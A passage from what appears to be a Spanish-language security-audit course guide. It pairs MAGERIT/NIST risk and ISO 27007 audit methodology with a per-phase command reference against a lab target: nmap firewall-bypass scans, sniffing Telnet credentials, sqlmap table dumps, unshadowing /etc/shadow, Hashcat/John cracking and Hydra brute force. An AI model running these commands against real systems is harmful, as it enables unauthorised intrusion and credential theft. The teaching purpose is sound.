<code>-p <pass></code>	Una contrasena concreta	<code>-P <file></code>	Lista de contrasenas
<code>-t <N></code>	Numero de hilos paralelos	<code>-f</code>	Parar al primer exito
<code>-V</code>	Verbose (mostrar intentos)	<code>-v</code>	Verbose reducido
<code>-o <file></code>	Guardar resultados	<code>-s <port></code>	Especificar puerto (si no es el defecto)
<code>-e nsr</code>	Probar: null, same (usuario=pass), reverse	<code>-w <N></code>	Timeout en segundos por intento

07

Análisis de Riesgos MAGERIT + NIST

Herramientas: OpenVAS export - MAGERIT v3 - NIST SP 800-30

Metodología MAGERIT v3 — Referencia de Uso

En el LAB-07 no hay nuevas herramientas de escaneo: se usa el conocimiento acumulado de todos los labs anteriores para aplicar la metodología MAGERIT v3 sobre las evidencias ya recopiladas. Las 'herramientas' de este lab son los modelos y plantillas metodológicos.

Herramienta	Proposito en el lab	Flags / opciones clave	Comando de referencia
Catalogo de activos	Clasificar cada activo segun los tipos MAGERIT v3	HW, SW, D (datos), S (servicios), COM, L, P Valorar en escala 0-10 en dimensiones D, I, C, A, T	Ver Libro II MAGERIT v3 - Catalogo de Elementos, cap. 2
Catalogo de amenazas	Identificar amenazas del catalogo MAGERIT sobre cada activo	[A.11] Acceso no autorizado [A.14] Intercepcion [E.2] Error del administrador [A.6] Abuso de privilegios Ver catalogo completo en Libro II cap. 5	Ver LAB-07 seccion 2.3 - tabla de amenazas MAGERIT
Matriz riesgo NIST	Calcular riesgo = Probabilidad (1-5) x Impacto (1-5)	P=1 Muy rara P=3 Posible P=5 Casi segura I=1 Muy bajo I=3 Moderado I=5 Muy alto 1-5=Bajo 6-11=Medio 12-18=Alto 19-25=Critico	$R = P \times I$ (ver tabla LAB-07 seccion 1.3)
Evaluacion salvaguardas	Valorar la eficacia (%) de los controles existentes	Preventiva: reduce probabilidad (max 80%) Detectiva: detecta la materializacion (max 60%) Correctiva: reduce el impacto (max 50%)	Eficacia combinada: $1 - [(1-E1) \times (1-E2) \times \dots]$
Riesgo residual	Calcular el riesgo que queda tras aplicar salvaguardas	$R_{residual} = R_{inherente} \times (1 - Eficacia\ combinada)$ Objetivo: reducir a nivel BAJO o ACEPTABLE	Ver LAB-07 seccion 5 - tabla de riesgo residual
OpenVAS CSV export	Exportar el informe OpenVAS para el mapeo a amenazas MAGERIT	GSA: Scans > Reports > Download > CSV Results Filtrar por CVSS >= 7.0 Mapear cada CVE al codigo de amenaza MAGERIT correspondiente	GSA: Reports > Download filtered Report > CSV

Correspondencia CVSS -> Probabilidad NIST

CVSS v3.1	Descripcion	Probabilidad NIST (1-5)	Justificacion
9.0 - 10.0	Critico — exploit publico en Metasploit, sin autenticacion	5 (Casi segura)	Explotable de forma trivial en segundos
7.0 - 8.9	Alto — exploit publico, autenticacion requerida o complejidad media	4 (Probable)	Explotable con herramientas estandar
4.0 - 6.9	Medio — exploit no trivial o acceso local requerido	3 (Posible)	Requiere habilidad o condiciones especificas
2.0 - 3.9	Bajo — condiciones muy especificas o impacto limitado	2 (Poco probable)	Explotar requiere esfuerzo considerable
0.1 - 1.9	Informativo / minimal	1 (Muy rara)	Riesgo teorico sin vector de explotacion practico

Proceso ISO 27007 — Referencia de Uso

El LAB-08 no introduce nuevas herramientas técnicas de hacking. Su 'herramienta' es el proceso y la estructura del Informe de Auditoria de Seguridad. El valor del auditor aquí es la capacidad de sintetizar, clasificar y comunicar los hallazgos técnicos en lenguaje normativo y directivo.

Herramienta	Propósito en el lab	Flags / opciones clave	Comando de referencia
ISO 27007 - fases	Estructura del proceso de auditoria en 5 fases	1. Iniciación (Plan de auditoria) 2. Preparación (Rev. documental) 3. Ejecución (pruebas técnicas) 4. Informe (hallazgos + recomendaciones) 5. Cierre (seguimiento)	Ver LAB-08 sección 1.4 – tabla de proceso ISO 27007
Clasificación NC	Clasificar hallazgos en NC Mayor, NC Menor y Observación	NC Mayor: compromete la eficacia del SGSI NC Menor: incumplimiento puntual sin impacto global Observación: área de mejora sin incumplimiento formal	Ver LAB-08 sección 5 – tabla de hallazgos
Evidencia de auditoria	Registrar y referenciar todas las evidencias (E-01 a E-16)	Cada evidencia: herramienta, lab, fichero, hallazgos que soporta Trazabilidad evidencia -> hallazgo -> control normativo	Ver LAB-08 sección 4 – registro de evidencias
ENS - gap analysis	Evaluar conformidad de cada control ENS	Conforme / Parcial / No conforme Justificar cada estado con evidencia técnica	Ver LAB-08 sección 7.1 – tabla de conformidad ENS
Plan de acción	Definir medidas correctoras con KPI verificable	Responsable + Plazo + Coste + KPI de verificación Ordenar por prioridad (Fase 1 urgente -> Fase 4 estratégica)	Ver LAB-08 sección 9 – plan de acción
Resumen ejecutivo	Traducir los hallazgos técnicos a lenguaje directivo	Sin tecnicismos. Impacto de negocio. Inversión requerida vs. riesgo evitado (ROI de seguridad) Máximo 2 páginas	Ver LAB-08 sección 6 – resumen ejecutivo

REFERENCIA RAPIDA — COMANDOS POR FASE DE AUDITORIA

Fase 1 — Reconocimiento y descubrimiento (LAB-01)

Descubrimiento de hosts

```
sudo netdiscover -r <subred>/24 -i eth0
sudo nmap -sn <subred>/24 -oN pingscan.txt
sudo arp-scan --localnet -I eth0
```

Enumeracion de puertos y servicios

```
sudo nmap -sS -p- -T3 <IP_META> -oN full_syn.txt
sudo nmap -sV -sC -T3 <IP_META> -oN versiones.txt
sudo nmap -sU --top-ports 50 <IP_META> -oN udp_top50.txt
sudo nmap -O <IP_META> -oN os_detect.txt
sudo nmap -sV -O <IP_META> -oX inventario.xml
```

NSE scripts de enumeracion

```
sudo nmap --script ftp-anon,ftp-bounce <IP_META> -p 21
sudo nmap --script http-enum,http-title <IP_META> -p 80,8180
sudo nmap --script ssh-hostkey,ssh-auth-methods <IP_META> -p 22
sudo nmap --script vuln <IP_META> -p 21,22,80 -oN nse_vuln.txt
```

Fase 2 — Analisis de vulnerabilidades (LAB-02)

OpenVAS / GVM

```
sudo gvm-start
# Navegar a: http://127.0.0.1:9392
# Scans > Tasks > New Task > Full and Fast > <IP_META>
# Scans > Reports > Download > CSV (para mapeo MAGERIT)
sudo gvm-check-setup # verificar instalacion
```

Fase 3 — Analisis de protocolos (LAB-03)

Captura y analisis de trafico

```
sudo tcpdump -i eth0 host <IP_META> -w captura.pcap
sudo tcpdump -i eth0 -A port 23 | grep -i 'login|password'
wireshark & # luego filtrar: telnet / ftp / arp
# Follow TCP Stream en paquete Telnet para ver credenciales
```

Fase 4 — Auditoria web (LAB-04)

Reconocimiento web

```
nikto -h http://<IP_META> -o nikto_meta.txt
nikto -h http://<IP_META>:8180 -o nikto_tomcat.txt
sudo nmap --script http-enum,http-title <IP_META> -p 80,8180
```

sqlmap — SQL Injection automatizado

```
sqlmap -u 'http://<IP_META>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit' \
--cookie='PHPSESSID=<cookie>;security=low' --dbs --batch
sqlmap -u '<URL>' --cookie='...' -D dvwa -T users --dump --batch
```

Fase 5 — Auditoria de firewall (LAB-05)

Fingerprinting de firewall con Nmap

```
sudo nmap -sS <IP_META> -p 21,22,23,80,443,445,3306 -oN nmap_syn.txt
sudo nmap -sA <IP_META> -p 21,22,23,80,443,3306 -oN nmap_ack.txt
sudo nmap -sF <IP_META> -p 80,445 -oN nmap_fin.txt
sudo nmap --script firewall-bypass,firewalk <IP_META>
sudo nmap --source-port 53 <IP_META> -p 80,443
```

hping3 y iptables

```
hping3 -S -p 80 -c 3 -V <IP_META> # Respuesta SYN
hping3 -A -p 80 -c 3 -V <IP_META> # Respuesta ACK
sudo iptables -L -n -v --line-numbers # Ver ruleset
sudo iptables-save > iptables_actual.txt # Exportar ruleset
```

Fase 6 — Analisis de contraseñas (LAB-06)

Identificar y preparar hashes

```
hash-identifier # interactivo
hashid '<hash>' -m # con modo hashcat
unshadow /etc/passwd /etc/shadow > combined.txt
mysql -h <IP_META> -u root -e 'USE dvwa; SELECT password FROM users;' | grep -v password > dvwa_md5.txt
```

John the Ripper

```
john --single combined.txt
john --wordlist=/usr/share/wordlists/rockyou.txt combined.txt
john --wordlist=rockyou.txt --rules combined.txt
john --format=Raw-MD5 --wordlist=rockyou.txt dvwa_md5.txt
john --show combined.txt
```

Hashcat

```
hashcat -m 0 -a 0 dvwa_md5.txt rockyou.txt -D 1 --force --outfile out.txt
hashcat -m 1800 -a 0 sha512_hashes.txt rockyou.txt -D 1 --force
hashcat -m 0 -a 3 dvwa_md5.txt '?u?l?l?l?l?d?d' -D 1 --force
hashcat -m 0 -a 0 dvwa_md5.txt rockyou.txt -r best64.rule -D 1 --force
```

Hydra — fuerza bruta en red

```
hydra -L users.txt -P pass.txt ssh://<IP_META> -t 4 -V -o hydra_ssh.txt
hydra -L users.txt -P pass.txt ftp://<IP_META> -t 10 -V -f
hydra -L users.txt -P pass.txt telnet://<IP_META> -t 4 -V
hydra -l admin -P rockyou.txt <IP_META> http-get-form \
'/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:\
H=Cookie: PHPSESSID=<cookie>;security=low:F=incorrect' -t 10 -V
```

Preparacion del entorno de laboratorio

Antes de empezar cualquier laboratorio

```
# Verificar conectividad con el objetivo
ping -c 2 <IP_META>

# Crear directorio de trabajo del lab
mkdir -p ~/lab0X/{evidencias,resultados,capturas}
cd ~/lab0X

# Verificar herramientas disponibles
nmap --version && hydra --version && hashcat --version
sudo gvm-check-setup 2>/dev/null | tail -5
```

Al finalizar — empaquetar evidencias

```
# Comprimir todo el directorio del lab para entrega
zip -r LAB0X_[apellido]_[nombre].zip ~/lab0X/
ls -lh LAB0X_*.zip
```